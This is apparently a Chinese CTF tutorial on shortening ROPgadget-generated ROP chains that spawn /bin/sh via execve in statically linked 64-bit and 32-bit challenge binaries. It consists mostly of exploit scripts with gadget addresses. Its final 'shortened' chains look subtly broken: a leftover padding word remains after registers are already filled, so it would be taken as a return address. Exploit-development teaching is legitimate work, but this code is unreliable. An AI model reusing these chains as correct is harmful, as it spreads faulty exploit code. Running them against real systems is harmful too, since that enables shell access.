前言
在静态连接程序中,利用ROPgadget生成现成的ropchain,可以直接实现getshell,主打一个方便。
但是,通常情况下,由于程序的输入长度有限制,而ROPgadget生成的ropchain过长,导致ropchain无法适用,如果能够针对ropchain进行简单的修改的话,那便能减少构建rop链花费的心思。
如何使用ROPgadget生成ropchain
(1)ROPgadget命令生成ropchain
ROPgadget --binary gift_rop --ropchain
(2)命令执行后,会回显一段很长的gadget段,往上滑,找到ROPgadget构造好的ropchain
(3)从 #padding goes here 开始就是ROPgadget构造好的ropchain
(4)程序没有输入限制情况下,只需将padding填入此处,就能利用现成rop链进行getshell
解析ROPgadget中ropchain原理
ROPgadget构建的ropchain本质就是执行syscall
(1)填充长度padding:
(2)将rsi设置为.data段的地址,将/bin/sh写入rax,再将rax的内容写入rsi所指向的地址
(简单来说就是借助rsi和rax两个寄存器将字符串'/bin/sh'写入.data段中)
(3)xor rax,rax指令是将寄存器rax清空为0,然后将.data+8地址处的值设置为0
(4)将rdi设置为'/bin/sh'地址,将rsi,rdx,rbx设置为0(此时@.data+8处是为0的)
(5)从padding开始直到syscall调用之前实现rax每次加1
(64位系统的调用号为59(0x3B),所以执行59次指令add rax,1)
(6)最后调用syscall函数
修改ropchain长度详解
思想:由上面的分析可以发现,ropchain在设置rax的值时,执行了59次add rax,1指令。既然知道了后续的指令都是为了将rax的值设置为59(0x3B),那能不能找到更加高效的gadget对其进行替代,从而缩短ropchain的长度呢
64位静态编译程序的rop修改
首先明白ropchain的本质是执行syscall,因此64位程序对应的syscall为:
Syscall(0x3b ,'/bin/sh',0,0)
目标实现:rax=0x3b ,rdi='binsh' ,rsi=0 ,rdx=0,syscall_addr
(1)ROPgadget命令查找可修改rax寄存器的gadget进行替代:
ROPgadget --binary gift_rop --ropchain |grep rax
(2)通过指令 pop rax,ret 实现设置rax的值为59(0x3B)
P64(pop_rax)+P64(0x3B)
通过 pop rax 实现rax传值的方式,极大缩短了ropchain的长度
#!/usr/bin/env python3
# execve generated by ROPgadget
from struct import pack
# Padding goes here
p = b''
p += pack('<Q', 0x0000000000409f9e) # pop rsi ; ret
p += pack('<Q', 0x00000000004c50e0) # @ .data
p += pack('<Q', 0x0000000000448077) # pop rax ; ret
p += b'/bin//sh'
p += pack('<Q', 0x000000000044a4f5) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000409f9e) # pop rsi ; ret
p += pack('<Q', 0x00000000004c50e8) # @ .data + 8
p += pack('<Q', 0x000000000043d1d0) # xor rax, rax ; ret
p += pack('<Q', 0x000000000044a4f5) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000401f2f) # pop rdi ; ret
p += pack('<Q', 0x00000000004c50e0) # @ .data
p += pack('<Q', 0x0000000000409f9e) # pop rsi ; ret
p += pack('<Q', 0x00000000004c50e8) # @ .data + 8
p += pack('<Q', 0x000000000047f20b) # pop rdx ; pop rbx ; ret
p += pack('<Q', 0x00000000004c50e8) # @ .data + 8
p += pack('<Q', 0x4141414141414141) # padding
p += pack('<Q', 0x0000000000448077) # pop rax ; ret
p += p64(0x3B)
p += pack('<Q', 0x0000000000401ce4) # syscall
(3)ROPgadget命令查找可以修改rsi,rdx,rbx寄存器的gadget
ROPgadget --binary gift_rop --only 'pop|ret'|grep ret
(4)最终缩短后的ropchain
#!/usr/bin/env python3
# execve generated by ROPgadget
from struct import pack
# Padding goes here
p = b''
p += pack('<Q', 0x0000000000409f9e) # pop rsi ; ret
p += pack('<Q', 0x00000000004c50e0) # @ .data
p += pack('<Q', 0x0000000000448077) # pop rax ; ret
p += b'/bin//sh'
p += pack('<Q', 0x000000000044a4f5) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000401f2f) # pop rdi ; ret
p += pack('<Q', 0x00000000004c50e0) # @ .data
p += pack('<Q', 0x0000000000409f9e) # pop rsi ; ret
p += p64(0)
p += pack('<Q', 0x000000000047f20b) # pop rdx ; pop rbx ; ret
p += p64(0)+p64(0)
p += pack('<Q', 0x4141414141414141) # padding
p += pack('<Q', 0x0000000000448077) # pop rax ; ret
p += p64(0x3B)
p += pack('<Q', 0x0000000000401ce4) # syscall
32位静态编译程序的rop修改
32位程序对应的syscall为:
Int80(0xb ,'/bin/sh' ,0 ,0)
目标实现:eax=0xb ,ebx='binsh' ,ecx=0 ,edx=0 ,int0x80_addr
ROPgadget构建的ropchain:
#!/usr/bin/env python3
# execve generated by ROPgadget
from struct import pack
# Padding goes here
p = b''
p += pack('<I', 0x0806e82a) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080bae06) # pop eax ; ret
p += b'/bin'
p += pack('<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806e82a) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080bae06) # pop eax ; ret
p += b'//sh'
p += pack('<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806e82a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08054250) # xor eax, eax ; ret
p += pack('<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x0806e851) # pop ecx ; pop ebx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080ea060) # padding without overwrite ebx
p += pack('<I', 0x0806e82a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08054250) # xor eax, eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x080493e1) # int 0x80
(1)ROPgadget命令查找可修改eax寄存器的gadget进行替代
ROPgadget --binary simplerop --ropchain |grep eax
(2)通过 pop eax,ret 实现设置eax的值为11(0xB)
P32(pop_eax)+P32(0xb)
#!/usr/bin/env python3
# execve generated by ROPgadget
from struct import pack
# Padding goes here
p = b''
p += pack('<I', 0x0806e82a) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080bae06) # pop eax ; ret
p += b'/bin'
p += pack('<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806e82a) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080bae06) # pop eax ; ret
p += b'//sh'
p += pack('<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806e82a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08054250) # xor eax, eax ; ret
p += pack('<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x0806e851) # pop ecx ; pop ebx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080ea060) # padding without overwrite ebx
p += pack('<I', 0x0806e82a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08054250) # xor eax, eax ; ret
p += pack('<I', 0x080bae06) # pop eax ; ret
p += p32(0xb)
p += pack('<I', 0x080493e1) # int 0x80
(3)ROPgadget命令查找可以修改ebx,edx,ecx寄存器的gadget
ROPgadget --binary simplerop --only 'pop|ret'|grep ret
(4)最终缩短后的ropchain
#!/usr/bin/env python3
# execve generated by ROPgadget
from struct import pack
# Padding goes here
p = b''
p += pack('<I', 0x0806e82a) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080bae06) # pop eax ; ret
p += b'/bin'
p += pack('<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806e82a) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080bae06) # pop eax ; ret
p += b'//sh'
p += pack('<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806e850) # pop edx ; pop ecx ; pop ebx ; ret
p += p32(0)+p32(0)+p32(0x080ea060)
p += pack('<I', 0x080ea060) # padding without overwrite ebx
p += pack('<I', 0x080bae06) # pop eax ; ret
p += p32(0xb)
p += pack('<I', 0x080493e1) # int 0x80
总结
(1)对ropchain的优化,无非就是利用寄存器gadget来替代ROPgadget中ropchain过于复杂的操作,从而缩短ropchain的长度。
(2)一般情况下,只需要利用rax或者eax寄存器gadget替代对应部分的操作就能满足题目需求。
(3)如果再进一步利用其他寄存器gadget去替代对应部分操作,实质上与自己直接构造rop链相差无几。